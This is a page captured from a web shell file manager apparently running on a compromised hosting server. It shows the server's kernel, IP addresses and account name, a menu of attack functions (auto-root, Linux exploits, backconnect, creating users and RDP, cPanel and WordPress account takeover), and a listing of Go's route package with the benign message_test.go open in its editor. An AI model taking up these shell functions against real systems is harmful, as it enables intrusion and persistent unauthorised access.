Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.184
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
golang.org /
x /
net@v0.20.0 /
route /
[ HOME SHELL ]
Name
Size
Permission
Action
address.go
9.9
KB
-r--r--r--
address_darwin_test.go
1.33
KB
-r--r--r--
address_test.go
2.6
KB
-r--r--r--
binary.go
2.73
KB
-r--r--r--
defs_darwin.go
1.05
KB
-r--r--r--
defs_dragonfly.go
1.31
KB
-r--r--r--
defs_freebsd.go
6.4
KB
-r--r--r--
defs_netbsd.go
820
B
-r--r--r--
defs_openbsd.go
572
B
-r--r--r--
empty.s
255
B
-r--r--r--
interface.go
1.88
KB
-r--r--r--
interface_announce.go
770
B
-r--r--r--
interface_classic.go
1.63
KB
-r--r--r--
interface_freebsd.go
1.94
KB
-r--r--r--
interface_multicast.go
829
B
-r--r--r--
interface_openbsd.go
2.17
KB
-r--r--r--
message.go
1.53
KB
-r--r--r--
message_darwin_test.go
820
B
-r--r--r--
message_freebsd_test.go
2.04
KB
-r--r--r--
message_test.go
5.56
KB
-r--r--r--
route.go
4.23
KB
-r--r--r--
route_classic.go
1.86
KB
-r--r--r--
route_openbsd.go
1.71
KB
-r--r--r--
route_test.go
8.48
KB
-r--r--r--
sys.go
940
B
-r--r--r--
sys_darwin.go
2.78
KB
-r--r--r--
sys_dragonfly.go
2.74
KB
-r--r--r--
sys_freebsd.go
4.66
KB
-r--r--r--
sys_netbsd.go
2.23
KB
-r--r--r--
sys_openbsd.go
2.12
KB
-r--r--r--
syscall.go
396
B
-r--r--r--
zsys_darwin.go
533
B
-r--r--r--
zsys_dragonfly.go
491
B
-r--r--r--
zsys_freebsd_386.go
1.48
KB
-r--r--r--
zsys_freebsd_amd64.go
1.38
KB
-r--r--r--
zsys_freebsd_arm.go
1.38
KB
-r--r--r--
zsys_freebsd_arm64.go
1.38
KB
-r--r--r--
zsys_freebsd_riscv64.go
1.38
KB
-r--r--r--
zsys_netbsd.go
375
B
-r--r--r--
zsys_openbsd.go
223
B
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : message_test.go
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd package route import ( "os" "syscall" "testing" "time" ) func TestFetchAndParseRIB(t *testing.T) { for _, typ := range []RIBType{syscall.NET_RT_DUMP, syscall.NET_RT_IFLIST} { var lastErr error var ms []Message for _, af := range []int{syscall.AF_UNSPEC, syscall.AF_INET, syscall.AF_INET6} { rs, err := fetchAndParseRIB(af, typ) if err != nil { lastErr = err continue } ms = append(ms, rs...) } if len(ms) == 0 && lastErr != nil { t.Error(typ, lastErr) continue } ss, err := msgs(ms).validate() if err != nil { t.Error(typ, err) continue } for _, s := range ss { t.Log(typ, s) } } } var ( rtmonSock int rtmonErr error ) func init() { // We need to keep rtmonSock alive to avoid treading on // recycled socket descriptors. rtmonSock, rtmonErr = syscall.Socket(syscall.AF_ROUTE, syscall.SOCK_RAW, syscall.AF_UNSPEC) } // TestMonitorAndParseRIB leaks a worker goroutine and a socket // descriptor but that's intentional. func TestMonitorAndParseRIB(t *testing.T) { if testing.Short() || os.Getuid() != 0 { t.Skip("must be root") } if rtmonErr != nil { t.Fatal(rtmonErr) } // We suppose that using an IPv4 link-local address and the // dot1Q ID for Token Ring and FDDI doesn't harm anyone. pv := &propVirtual{addr: "169.254.0.1", mask: "255.255.255.0"} if err := pv.configure(1002); err != nil { t.Skip(err) } if err := pv.setup(); err != nil { t.Skip(err) } pv.teardown() go func() { b := make([]byte, os.Getpagesize()) for { // There's no easy way to unblock this read // call because the routing message exchange // over routing socket is a connectionless // message-oriented protocol, no control plane // for signaling connectivity, and we cannot // use the net package of standard library due // to the lack of support for routing socket // and circular dependency. n, err := syscall.Read(rtmonSock, b) if err != nil { return } ms, err := ParseRIB(0, b[:n]) if err != nil { t.Error(err) return } ss, err := msgs(ms).validate() if err != nil { t.Error(err) return } for _, s := range ss { t.Log(s) } } }() for _, vid := range []int{1002, 1003, 1004, 1005} { pv := &propVirtual{addr: "169.254.0.1", mask: "255.255.255.0"} if err := pv.configure(vid); err != nil { t.Fatal(err) } if err := pv.setup(); err != nil { t.Fatal(err) } time.Sleep(200 * time.Millisecond) if err := pv.teardown(); err != nil { t.Fatal(err) } time.Sleep(200 * time.Millisecond) } } func TestParseRIBWithFuzz(t *testing.T) { for _, fuzz := range []string{ "0\x00\x05\x050000000000000000" + "00000000000000000000" + "00000000000000000000" + "00000000000000000000" + "0000000000000\x02000000" + "00000000", "\x02\x00\x05\f0000000000000000" + "0\x0200000000000000", "\x02\x00\x05\x100000000000000\x1200" + "0\x00\xff\x00", "\x02\x00\x05\f0000000000000000" + "0\x12000\x00\x02\x0000", "\x00\x00\x00\x01\x00", "00000", } { for typ := RIBType(0); typ < 256; typ++ { ParseRIB(typ, []byte(fuzz)) } } } func TestRouteMessage(t *testing.T) { s, err := syscall.Socket(syscall.AF_ROUTE, syscall.SOCK_RAW, syscall.AF_UNSPEC) if err != nil { t.Fatal(err) } defer syscall.Close(s) var ms []RouteMessage for _, af := range []int{syscall.AF_INET, syscall.AF_INET6} { if _, err := fetchAndParseRIB(af, syscall.NET_RT_DUMP); err != nil { t.Log(err) continue } switch af { case syscall.AF_INET: ms = append(ms, []RouteMessage{ { Type: syscall.RTM_GET, Addrs: []Addr{ syscall.RTAX_DST: &Inet4Addr{IP: [4]byte{127, 0, 0, 1}}, syscall.RTAX_GATEWAY: nil, syscall.RTAX_NETMASK: nil, syscall.RTAX_GENMASK: nil, syscall.RTAX_IFP: &LinkAddr{}, syscall.RTAX_IFA: &Inet4Addr{}, syscall.RTAX_AUTHOR: nil, syscall.RTAX_BRD: &Inet4Addr{}, }, }, { Type: syscall.RTM_GET, Addrs: []Addr{ syscall.RTAX_DST: &Inet4Addr{IP: [4]byte{127, 0, 0, 1}}, }, }, }...) case syscall.AF_INET6: ms = append(ms, []RouteMessage{ { Type: syscall.RTM_GET, Addrs: []Addr{ syscall.RTAX_DST: &Inet6Addr{IP: [16]byte{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}}, syscall.RTAX_GATEWAY: nil, syscall.RTAX_NETMASK: nil, syscall.RTAX_GENMASK: nil, syscall.RTAX_IFP: &LinkAddr{}, syscall.RTAX_IFA: &Inet6Addr{}, syscall.RTAX_AUTHOR: nil, syscall.RTAX_BRD: &Inet6Addr{}, }, }, { Type: syscall.RTM_GET, Addrs: []Addr{ syscall.RTAX_DST: &Inet6Addr{IP: [16]byte{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}}, }, }, }...) } } for i, m := range ms { m.ID = uintptr(os.Getpid()) m.Seq = i + 1 wb, err := m.Marshal() if err != nil { t.Fatalf("%v: %v", m, err) } if _, err := syscall.Write(s, wb); err != nil { t.Fatalf("%v: %v", m, err) } rb := make([]byte, os.Getpagesize()) n, err := syscall.Read(s, rb) if err != nil { t.Fatalf("%v: %v", m, err) } rms, err := ParseRIB(0, rb[:n]) if err != nil { t.Fatalf("%v: %v", m, err) } for _, rm := range rms { if rm, ok := rm.(*RouteMessage); ok && rm.Err != nil { t.Errorf("%v: %v", m, rm.Err) } } ss, err := msgs(rms).validate() if err != nil { t.Fatalf("%v: %v", m, err) } for _, s := range ss { t.Log(s) } } }
Close